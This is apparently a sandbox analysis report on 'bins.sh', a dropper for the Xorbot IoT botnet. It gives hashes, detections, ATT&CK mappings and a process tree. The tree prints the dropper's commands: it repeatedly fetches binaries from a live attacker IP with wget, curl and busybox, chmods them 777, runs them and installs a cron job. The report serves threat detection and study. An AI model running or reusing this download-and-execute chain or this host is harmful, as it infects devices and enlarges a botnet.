xorbot | ef1e3e5b105212307dda1ef228a4494b446f70a40ceef1b1aa6096fba921894e

Analysis

max time kernel
96s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20250619-en
resource tags

arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/09/2025, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250911-dppv3afl3t
SHA256 ef1e3e5b105212307dda1ef228a4494b446f70a40ceef1b1aa6096fba921894e
MD5 832db5317a3b99227f78016e59ef950a
SHA1 6496b4c6123b0bbdbe936ad76ea49fdf99eab54e
SHA512 6a721191241c0668d812603b1a4947247d834777a770cadf72e4d0472841c789f87921e73e8531ff5a44f4e8f30734dbb59103ad4132a5f2a5e6429d7244a8c0
SSDEEP 192:zd56pFn4DwtnqyvUAWI3nclRl3nclRZd56pFnJqyvUAp:zd56pZ4Dwt04d56pZV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

botnet defense_evasion discovery execution xorbot persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot
behavioral3/files/fstream-11.dat	family_xorbot
behavioral3/files/fstream-13.dat	family_xorbot
behavioral3/files/fstream-17.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
754	chmod
789	chmod
877	chmod
884	chmod
743	chmod
809	chmod
826	chmod
853	chmod
860	chmod
870	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta	744	bins.sh
/tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn	755	bins.sh
/tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi	790	bins.sh
/tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK	810	bins.sh
/tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn	827	bins.sh
/tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF	854	bins.sh
/tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N	861	bins.sh
/tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO	871	bins.sh
/tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O	878	bins.sh
/tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f	885	bins.sh

Renames itself 1 IoCs

pid	Process
886	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Y3gI0j	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/674/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/720/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/945/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/174/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/12/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/15/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/18/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/153/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/894/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/911/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/327/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/679/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/921/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/939/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/942/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/677/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/930/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/13/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/109/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/357/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/893/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/914/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/916/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/918/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/962/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/20/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/77/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/712/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/929/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/959/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/16/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/74/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/709/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/82/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/661/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/907/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/6/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/14/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/17/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/24/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/326/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/926/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/954/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/900/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/903/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/901/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/125/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/377/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/940/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/957/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/23/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/711/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/891/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/919/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/933/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/958/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
File opened for reading	/proc/1/cmdline	qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta	wget
File opened for modification	/tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK	wget
File opened for modification	/tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn	curl
File opened for modification	/tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f	curl
File opened for modification	/tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f	busybox
File opened for modification	/tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK	busybox
File opened for modification	/tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF	wget
File opened for modification	/tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF	curl
File opened for modification	/tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N	wget
File opened for modification	/tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi	wget
File opened for modification	/tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi	curl
File opened for modification	/tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N	busybox
File opened for modification	/tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO	curl
File opened for modification	/tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f	wget
File opened for modification	/tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta	busybox
File opened for modification	/tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn	busybox
File opened for modification	/tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi	busybox
File opened for modification	/tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO	busybox
File opened for modification	/tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn	wget
File opened for modification	/tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O	curl
File opened for modification	/tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O	busybox
File opened for modification	/tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta	curl
File opened for modification	/tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn	curl
File opened for modification	/tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O	wget
File opened for modification	/tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK	curl
File opened for modification	/tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn	wget
File opened for modification	/tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn	busybox
File opened for modification	/tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF	busybox
File opened for modification	/tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N	curl
File opened for modification	/tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  ./oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  2⤵
  PID:744
- /bin/rm
  rm oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
  2⤵
  PID:746
- /usr/bin/wget
  wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  ./4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  2⤵
  PID:755
- /bin/rm
  rm 4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
  2⤵
  PID:758
- /usr/bin/wget
  wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  2⤵
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod 777 PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  ./PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  2⤵
  PID:790
- /bin/rm
  rm PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
  2⤵
  PID:793
- /usr/bin/wget
  wget http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  2⤵
  - Writes file to tmp directory
  PID:795
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  2⤵
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  ./Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  2⤵
  PID:810
- /bin/rm
  rm Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
  2⤵
  PID:812
- /usr/bin/wget
  wget http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  2⤵
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  2⤵
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  2⤵
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod 777 ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  ./ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  2⤵
  PID:827
- /bin/rm
  rm ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
  2⤵
  PID:830
- /usr/bin/wget
  wget http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  2⤵
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  2⤵
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  ./XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  2⤵
  PID:854
- /bin/rm
  rm XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
  2⤵
  PID:856
- /usr/bin/wget
  wget http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  2⤵
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  ./4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  2⤵
  PID:861
- /bin/rm
  rm 4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
  2⤵
  PID:863
- /usr/bin/wget
  wget http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  2⤵
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  2⤵
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  2⤵
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  ./cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  2⤵
  PID:871
- /bin/rm
  rm cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
  2⤵
  PID:873
- /usr/bin/wget
  wget http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  2⤵
  - Writes file to tmp directory
  PID:876
- /bin/chmod
  chmod 777 hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  ./hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  2⤵
  PID:878
- /bin/rm
  rm hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
  2⤵
  PID:880
- /usr/bin/wget
  wget http://178.16.54.252/bins/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  2⤵
  - Writes file to tmp directory
  PID:881
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  2⤵
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  ./qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:885
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:887
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:888
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:889
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:890
- /bin/rm
  rm qkDks8sGdTnzN0jVEGiJ8c7YMrG1ojee0f
  2⤵
  PID:892
- /usr/bin/wget
  wget http://178.16.54.252/bins/7FBbZu4AgmUNminQr0vgKdOXJusNNuOZAv
  2⤵
  PID:895

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4XGHCy6I55FmWeuln2rkbJkKI0wL25demn

Path /tmp/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
Size 178KB
SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
MD5 19160a5523c423d5bf271501c4f2a034
SHA1 c89fc29e6d4259f6ef314e5baaab2014e9c5dd8c
SHA512 442a0e575d79775d956026beb75d193251729cddaea5d0407e79e7d78a82db7703970c44f1c23e86d5459e2615b56d968bfbd3bff93656730e0659fb1358ecfe
SSDEEP 3072:TI9TfU7BPdL8xt4fYarb1lFkw/YFrAVoWUzXhKNM/9qxuHXLmmmLdwC7HuRsY:TI9owarb1lF9/vVoNzXhAM/9VXLmmmLe
MD5 SHA1 SHA512 SSDEEP

Submit Download

4uAAowmz56sVlEbLLIVIWy4ly78olwO04N

Path /tmp/4uAAowmz56sVlEbLLIVIWy4ly78olwO04N
Size 141KB
SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
MD5 62dbad1a93a6542c18c69bb128b387a7
SHA1 f13a02f5974fe457b3cf612d6ee0301e2ef79b58
SHA512 18a75ee8e907e0d662c907c3a1b74e0f2a8b9be74bd085fcd51c1875272ee6760ae74543d461dd62d59638a51553012fdee92d9a834b009f2daceb63445695ec
SSDEEP 3072:i3otmbKcIxC3FVTvDQnaGnRuKMQP2ESmw+lHzSnqtmmytHHQRkhCalY:i3NTD2a+3P2ESmL5tmmytHHQRkhplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi

Path /tmp/PLQ7PCXibcpS2frycRD6QZl8eAScLECbHi
Size 120KB
SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
MD5 35c32e30c7317b38e24341972a0d3b84
SHA1 daa5bc30312aed05a29b04e15d3ced46c21eea21
SHA512 5ff20be205bae4ab7a190348b11dcfbf9943396f3bef40214af310d18982e3a9db8012290c8d8d567115093081650d5b37b47903f542cff8200cace04600222a
SSDEEP 3072:nPhq2lXta3rzOk3QQnL6hD1LJaMjlmtW2dS1um8RiQztvJk9zEp:PO5BnLCD1taMjuvm8RiQztv+9zEp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK

Path /tmp/Q1GXpftsDNh8j5RHBALwbzquzAfVRRNnmK
Size 127KB
SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
MD5 2a74531db06c6acb19abec6799ccbbb9
SHA1 1cf59cc30a1d967dc524ddfba7fd03914b86244d
SHA512 5d3707d69097a51f4295586b972970f00fefaf3de997bae46099c9b80a01afb5a6173683ded0bc0a92b0f7337449c8ff47be9a338171fb80e05d5d63158f364c
SSDEEP 3072:aD21Vr3guSRV7niyIqzoHMnQQXwQijKvKmxKjQVnkMk9H8p:d4/MHMQQgQij4KmxKjQVnkl9H8p
MD5 SHA1 SHA512 SSDEEP

Submit Download

XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF

Path /tmp/XUOY3utd54Hj6YIl6nxktPj1SOFZwo6GfF
Size 113KB
SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
MD5 8b8c0216dfc57c4f7fb3a28f2c11092f
SHA1 4e27eed09e093cae6cafdc6c3950fec3dd855c56
SHA512 180389988e548658e19d188e59a6c557c7a3451afada1657939c1647dbdf8d9f19cf4ef7cc257a88183d1742266e2028fa4f789b71c01466d7c8fd0282c31661
SSDEEP 3072:jqSC1jMnO1ONuF69cFpt+6mUHM5RsNtbm9c:jxwGuF4S+6mUHM5Rs/bm9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

cas0L87cJdnIsypP1iWZkRGLVJgRdambBO

Path /tmp/cas0L87cJdnIsypP1iWZkRGLVJgRdambBO
Size 152KB
SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
MD5 57b74f476fc4e11a894f834bbf9090ff
SHA1 ef90bec76170a9036cd084dc551182d153d2ef92
SHA512 459c555f671ca4877da451f38b4d9d9ae21e48021303924dd3f50c8722e1276e4f724317b0708cae65635fa3b691ccaddf2bb2f9d265f10a36146f2bc5e67507
SSDEEP 1536:QhXNmuGufu4zeMtMxVEVWNctKZLi9yjItfdyaX8gQ+bilbRGVUmCjXswi5d2tRxK:Q9Nm18O2V3Kq42AbIUmCjXswi5ktRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn

Path /tmp/ckZwvjP59ZlXcskBJtqL9spsbuJjQqIBDn
Size 118KB
SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
MD5 7dcbc279bed2a2a6e58b6e0d63f0e9b2
SHA1 69b742f92625c631c9843063bf977e495cb007be
SHA512 5f041a9b28fd0eb24ca2e25fc24662c284ad87095efbdae2b09f69b4502d0dd8c7d88ee2f95a9a7fe4569c7ad4de3ddeeef9ba65b1ca32444bd85981a01321d9
SSDEEP 3072:+tcBkSZym99KEuQUlHU/bpm4QbZJsf35zPp:+7iymLKExUmdm4QbZJs/5zPp
MD5 SHA1 SHA512 SSDEEP

Submit Download

hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O

Path /tmp/hF548IdWvT7kXeSrzgVUSM1GK9cqGKhi1O
Size 114KB
SHA256 4190491b9006404cab256d66125bd77b1c3a0e63451fbb3d829617d7e87acc9b
MD5 cc5918343c53a68a72dea81034191b2a
SHA1 94558258c0f022f6c522d1b323fbb829748edcd4
SHA512 b7a37c4a28a3f5b51a69d5e4bd9954d5cc7e6ce56a0e1e4f3efc48a32ab7acb0e61608e963b290c77934f5bbc09b8cf4af6e7da8999cfa55436d94bec5ca810f
SSDEEP 3072:wYm1L7k2I1CV/38vuGOn8r9cAEtRom/pOQbZJ5x35zzp:I1L7k2I8V/30Ona9cAE7om/pOQbZJ5xX
MD5 SHA1 SHA512 SSDEEP

Submit Download

oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta

Path /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
Size 98KB
SHA256 8340ff8920412a70f0c29cdf72f6f218e61142b3f210e70e24811c413971a8ed
MD5 1505239c58e5c7763467135d387ddc52
SHA1 d531f495c19a136a7e48f646bff15cfb3df27439
